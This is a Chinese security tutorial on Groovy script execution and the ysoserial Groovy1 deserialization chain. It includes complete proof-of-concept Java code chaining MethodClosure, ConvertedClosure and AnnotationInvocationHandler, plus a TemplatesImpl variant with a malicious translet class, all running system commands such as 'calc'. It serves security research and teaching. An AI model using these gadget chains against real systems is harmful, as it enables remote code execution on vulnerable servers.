Java 安全 | Groovy 与 ScriptEngineManager

admin 2025年6月18日06:44:46评论10 views字数 13668阅读45分33秒阅读模式

Groovy 链分析

前言

Groovy1             @frohoff                               groovy:2.3.9

一条 RCE 链, 先对 Groovy 做一些介绍: Groovy是一种基于Java平台的动态编程语言,它允许以更简洁和灵活的方式编写Java代码,并且可以与Java无缝集成,在Java虚拟机(JVM)上运行(编译后的后缀为.class文件)。因此,Groovy可以直接使用Java的类库和API,无需进行特殊的转换或适配‌.

环境安装 & 初识 & 执行方式

Groovy Shell【底层通过 GroovyClassLoader】

对于环境安装可以参考: https://www.w3ccoo.com/groovy/groovy_environment.html, 这里只做初步的说明.

Java 安全 | Groovy 与 ScriptEngineManager

可以在官网中安装 ZIP 版本的 Groovy, 最终使用groovysh进入groovy的交互界面 (groovyShell):

Java 安全 | Groovy 与 ScriptEngineManager

当然在Java中引入groovy依赖后也可以直接调用其API:

GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate("println 'Hello World'");

当然也可以进行远程执行 groovy:

Java 安全 | Groovy 与 ScriptEngineManager

使用 python 启动一个 HTTP 服务后, 运行如下代码即可:

GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(new java.net.URI("http://127.0.0.1:8000/HelloWorld.groovy"));

Groovy ClassLoader

当然如果想在 Java 中使用可以引入groovy的依赖:

<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId><!-- 如果想依赖全部包,可以使用 groovy-all -->
<version>2.4.5</version>
</dependency>
</dependencies>

引入依赖后, 根据groovy的语法可以写出如下groovy脚本, 命名为hello.groovy, 如下:

classHello {
    String say(String name) {
        println "Hello, $name"
if (name == "Heihu577") {
            Runtime.getRuntime().exec("calc")
return"Success"
        } else {
return"Fail"
        }
    }
}

我们可以创建java代码用于解析该groovy脚本, 并进行解析, 实例化Hello类并调用其say方法:

package com.heihu577;

import groovy.lang.GroovyClassLoader;

import java.io.File;

publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
        GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
        Class clazz = groovyClassLoader.parseClass(new File("./hello.groovy")); // class Hello
        Object o = clazz.newInstance();
        System.out.println(clazz.getDeclaredMethod("say", String.class).invoke(o, "Heihu577"));
        System.out.println(clazz.getDeclaredMethod("say", String.class).invoke(o, "Helen"));
    }
}

可以从中感受到的是, 通过GroovyClassLoader::parseClass可以将groovy脚本进行解析并装载到JVM中, 随后即可通过反射调用其方法了. 当然也可以解析groovy脚本 (字符串形式):

String groovyCode = "class Person {public Person(){println 'HelloWorld'}}";
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass(groovyCode); // class Person
aClass.newInstance();

当然也能够进行远程加载:

Java 安全 | Groovy 与 ScriptEngineManager

GroovyScriptEngine

也可以通过GroovyScriptEngine进行远程加载并执行Groovy脚本, 定义一个Person.groovy文件, 并启动 python 服务:

classPerson {public Person(){println 'HelloWorld'}}

随后执行如下代码:

GroovyScriptEngine groovyScriptEngine = new GroovyScriptEngine("http://127.0.0.1:8000/");
groovyScriptEngine.run("Person.groovy""");

运行后, 会向http://127.0.0.1:8000/Person.groovy发送请求, 并实例化. 相关的 API 文档可参考:

Java 安全 | Groovy 与 ScriptEngineManager

ScriptEngineManager

除了使用上述方式以外, 也可以通过ScriptEngineManager调用groovy, 但是这里就不能使用groovy依赖了, 而必须使用groovy-all依赖才可以使用这种方式.

<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.3.9</version>
</dependency>
</dependencies>

为什么呢?这里就需要先进行介绍 ScriptEngineManager 了.

JSR 223 简单介绍 & JS 引擎介绍

这里可以参考: https://www.cnblogs.com/chenying99/articles/3216264.html, 其实说的很简单, 在 JDK 1.5 版本开始引入了ScriptEngineManager, 其核心功能则是在 JVM 上使用其他编程语言的语法进行执行, 在 JDK < 11 版本中默认存在一个 JavaScript 解释引擎常被攻击者进行利用, 我们可以编写如下代码来进行遍历当前 JVM 所支持解析的脚本语言:

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
List<ScriptEngineFactory> engineFactories = scriptEngineManager.getEngineFactories();
if (engineFactories.size() == 0) {
    System.out.println("本JVM尚不支持任何脚本引擎");
return;
}
System.out.println("本JVM支持的脚本引擎有:");
for (ScriptEngineFactory engineFactory : engineFactories) {
    System.out.println("引擎名称:" + engineFactory.getEngineName());
    System.out.println("t可被ScriptEngineManager识别的名称:" + engineFactory.getNames());
    System.out.println("t该引擎支持的脚本语言名称:" + engineFactory.getLanguageName());
    System.out.println("t是否线程安全:" + engineFactory.getParameter("THREADING"));
}

其最终结果如下:

本JVM支持的脚本引擎有:
引擎名称:Oracle Nashorn
可被ScriptEngineManager识别的名称:[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
该引擎支持的脚本语言名称:ECMAScript
是否线程安全:null

那么我们就可以通过ScriptEngineManager::getEngineByName来对其进行调用:

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine javascript = scriptEngineManager.getEngineByName("javascript");
javascript.eval("var name = 'Heihu577'"); // 以 JS 的形式定义变量
javascript.eval("print('Hello ' + name)"); // Hello Heihu577
javascript.eval("java.lang.Runtime.getRuntime().exec('calc')"); // 弹窗

以上是对 ScriptEngineManager 简单的使用, 而该类是如何加载脚本引擎的呢?实际上这里使用的是 SPI 机制, 可参考: https://mp.weixin.qq.com/s/8q4XMhoWL9bqNNp83j6-HA

定位到 ScriptEngineManager 初始化代码块如下:

Java 安全 | Groovy 与 ScriptEngineManager

这是一个经典的 SPI 加载的案例, 实际上是读取到了%JRE_HOME%libext (Ext ClassLoader所加载的目录)中的nashorn.jar文件中的/META-INF/services/javax.script.ScriptEngineFactory文件进行加载的, 首先看一下加载所用的 ClassLoader:

System.out.println(NashornScriptEngineFactory.class.getClassLoader())// sun.misc.Launcher$ExtClassLoader@2503dbd3

实际加载来源如图:

Java 安全 | Groovy 与 ScriptEngineManager
ScriptEngineManager 注册方法

上述通过 SPI 最终会注册到ScriptEngineManager::engineSpis成员属性中, 如图:

Java 安全 | Groovy 与 ScriptEngineManager

除了 SPI 自动扫描, 我们也可以进行手动注册, 调用ScriptEngineManager::registerEngineName进行注册, 如图:

Java 安全 | Groovy 与 ScriptEngineManager

最终会注册到ScriptEngineManager::nameAssociations成员属性中, 但这并不奇怪, 因为它们将来都会调用ScriptEngineManager::getEngineByName方法进行获取出来:

Java 安全 | Groovy 与 ScriptEngineManager

Groovy-all 使用案例【底层通过GroovyClassLoader】

上述案例通过 JVM 自带的 JavaScript 引擎进行演示了, 在 groovy-all 组件中, 同样可以发现 SPI 机制注册的引擎:

Java 安全 | Groovy 与 ScriptEngineManager

groovy-all中实现了基于ScriptEngineFactory接口的SPI, 这也就是为什么groovy-all可以使用ScriptEngineManager, 而groovy中不可以的原因. 那么进行调用案例如下:

ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); // 创建 ScriptEngineManager
ScriptEngine groovy = scriptEngineManager.getEngineByName("groovy"); // groovy-all 实现了 SPI 机制
Bindings bindings = groovy.createBindings(); // 创建 Bindings 全局变量
bindings.put("name""Heihu577"); // 定义全局变量
groovy.eval("def sayHello(){println "Hello~ $name"}", bindings); // 定义方法, 绑定全局变量
Object o = ((Invocable) groovy).invokeFunction("sayHello"null); // 通过反射调用方法
// Hello~ Heihu577

基于 groovy 的命令执行

String.execute()

groovy这门独特的语言中, 提供了一种便利的命令执行方式, 可以参考官方的 API 文档: https://docs.groovy-lang.org/latest/html/groovy-jdk/java/lang/String.html#execute()

Java 安全 | Groovy 与 ScriptEngineManager

进而可以通过如下形式进行命令执行:

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine groovy = scriptEngineManager.getEngineByName("groovy");
groovy.eval("'calc'.execute()");

通过官网可以看到该语法糖的底层则是使用ProcessBuilder进行命令执行的. 当然如果想要回显可通过如下形式:

groovy.eval("println 'whoami'.execute().text");

Java 原生命令执行

groovy 语法忘记了的话, groovy 给程序员提供了 Java 原生命令的调用方式, 直接调用即可:

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine groovy = scriptEngineManager.getEngineByName("groovy");
groovy.eval("Runtime.getRuntime().exec('calc')");

解析变量

类似于 PHP, 可以通过在双引号中放入${表达式}进行执行语句, 给出案例:

Class clazz = new GroovyClassLoader().parseClass("class Person {public Person(){" +
"println "双引号解析: ${"calc".execute()}"" +
"}}");
clazz.newInstance();

链路分析

MethodClosure 说明

在使用ScriptEngineManager使用eval进行执行脚本时, 会实例化org.codehaus.groovy.runtime.MethodClosure对象, 如下:

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine groovy = scriptEngineManager.getEngineByName("groovy");
//        System.out.println(groovy.eval("def closureWithOneArg = { String str -> str.toUpperCase() }n" +
//                "closureWithOneArg('hello world')"));
groovy.eval("println '123'");

调用栈如下:

Java 安全 | Groovy 与 ScriptEngineManager

通过ScriptEngine::eval函数可以看到的是, 会使用MethodClosure进行对象.方法进行执行, 那么如何使用MethodClosure进行执行groovy方法呢?

MethodClosure 命令执行

MethodClosure execMethod = new MethodClosure(对象, 方法名);
execMethod.call(传递的参数);

根据上述案例我们可以进行一个命令执行, 首先是 Runtime:

MethodClosure execMethod = new MethodClosure(Runtime.getRuntime(), "exec");
execMethod.call("calc");

这行代码等同于Runtime.getRuntime().exec("calc"). 而我们知道groovy中存在String.execute()方法可以进行命令执行, 那么也就衍生出这样的写法:

MethodClosure methodClosure = new MethodClosure("calc""execute");
methodClosure.call();

等同于"calc".execute(), 那么MethodClosure在底层中简单的流程是怎样的?

Java 安全 | Groovy 与 ScriptEngineManager

这是new MethodClosure时所初始化的metaClass成员属性, 在调用call方法时会用到:

Java 安全 | Groovy 与 ScriptEngineManager

这便是一个简单的调用过程.

ysoserial 中的分析

MethodClosure::call -> 危险方法

首先, MethodClosure实现了Serializable, 是可序列化的, 其次:

MethodClosure methodClosure = new MethodClosure("calc""execute");
methodClosure.call();

只要调用了MethodClosure::call(), 那么就可以进行命令执行. (根据继承链来讲, 这里实际上是 Closure::call)

ConvertedClosure::invokeCustom -> 链式调用

那么谁调用了Closure::call方法呢?在ConvertedClosure类中我们可以看到:

Java 安全 | Groovy 与 ScriptEngineManager

这里ConvertedClosure是一个代理类 (实现了 InvocationHandler), 它的invoke方法中会调用invokeCustom方法, 所以这是一条代理链. 但是由于最终调用的"calc".execute()是无参方法, 所以我们只能通过调用任意无参方法才可以, 否则代理对象中的args存在参数, 就会形成"calc".execute(有参数...)的情况, 那么就会抛出异常! 这里使用entrySet:

MethodClosure methodClosure = new MethodClosure("calc""execute");
Map o = (Map) Proxy.newProxyInstance(
                Main.class.getClassLoader(),
newClass[]
{Map.class},
newConvertedClosure(methodClosure, "entrySet")
        )
;
o.entrySet();

运行即可弹出计算器~

AnnotationInvocationHandler::readObject -> 链路开头

而谁调用了Map::entrySet呢?熟悉的AnnotationInvocationHandler回来了, 在它的readObject方法中进行调用了entrySet方法, 如图:

Java 安全 | Groovy 与 ScriptEngineManager

最终可编写如下POC:

package com.heihu577;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import org.junit.Test;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.Map;


publicclassMain{
@Test
publicvoidserialTest()throws Exception {
        MethodClosure methodClosure = new MethodClosure("calc""execute");
        Map o = (Map) Proxy.newProxyInstance(
                Main.class.getClassLoader(),
newClass[]
{Map.class},
newConvertedClosure(methodClosure, "entrySet")
        )
;
        Object evilObject = getAnnotationInvocationHandler(o);
        unserialize(serialize(evilObject));
    }

public Object getAnnotationInvocationHandler(Object o)throws Exception {
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.classMap.class);
        declaredConstructor.setAccessible(true);
        Object annotationInvocationHandler = declaredConstructor.newInstance(Target.classo);
return annotationInvocationHandler;
    }

publicbyte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(o);
return byteArrayOutputStream.toByteArray();
    }

public Object unserialize(byte[] bytes){
try {
            ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
return objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
returnnull;
    }
}

一些魔改

TemplatesImpl::getOutputProperties

无参方法还有TemplatesImpl::getOutputProperties, 并且TemplatesImpl是实现了Serializable的, 那么编写如下 POC:

package com.heihu577;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import org.junit.Test;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Map;


publicclassMain{
@Test
publicvoidserialTest()throws Exception {
        MethodClosure methodClosure = new MethodClosure(getTemplatesImpl(), "getOutputProperties");
        Map o = (Map) Proxy.newProxyInstance(
                Main.class.getClassLoader(),
newClass[]
{Map.class},
newConvertedClosure(methodClosure, "entrySet")
        )
;
        Object evilObject = getAnnotationInvocationHandler(o);
        unserialize(serialize(evilObject));
    }

public TemplatesImpl getTemplatesImpl()throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
        Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
        name.setAccessible(true);
        bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
        myBytes[0] = Repository.lookupClass(Evil.class).getBytes()// 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
return templates;
    }

public Object getAnnotationInvocationHandler(Object o)throws Exception {
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.classMap.class);
        declaredConstructor.setAccessible(true);
        Object annotationInvocationHandler = declaredConstructor.newInstance(Target.classo);
return annotationInvocationHandler;
    }

publicbyte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(o);
return byteArrayOutputStream.toByteArray();
    }

public Object unserialize(byte[] bytes){
try {
            ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
return objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
returnnull;
    }
}

准备Evil类如下:

package com.heihu577;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

publicclassEvilextendsAbstractTranslet{
static {
try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
thrownew RuntimeException(e);
        }
    }

@Override
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {}

@Override
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}
}

将从命令执行转化为代码执行~

关于其他

既然能够调用任意无参方法, 其实这里能做的变形有很多, 类似于 FastJson 的扫描 getter & setter 等. 先不挖掘了.

Reference

w3cschool: https://www.w3ccoo.com/groovy/index.html

中文教学手册: https://groovys.readthedocs.io/zh/latest/

英文官网: https://www.groovy-lang.org/, 中文官网: https://groovy-lang.cn/

Java API 手册: https://docs.groovy-lang.org/latest/html/gapi/

groovy 介绍与使用: https://mp.weixin.qq.com/s/z6pNYmWQI-Cq_10CCg2AuA

groovy 反序列化链分析: https://www.cnblogs.com/F12-blog/p/18133122

groovy 反序列化分析2: https://h3rmesk1t.github.io/2023/10/01/Groovy/

Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法: https://xz.aliyun.com/news/11461

SPI 机制: https://mp.weixin.qq.com/s/8q4XMhoWL9bqNNp83j6-HA

groovy 闭包: https://www.jianshu.com/p/c02a456e1943

JAVA安全之Groovy命令注入刨析: https://mp.weixin.qq.com/s/SeVjcsReZIxVMdMYxnLuaQ

原文始发于微信公众号(Heihu Share):Java 安全 | Groovy 与 ScriptEngineManager

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月18日06:44:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java 安全 | Groovy 与 ScriptEngineManagerhttps://cn-sec.com/archives/4173087.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息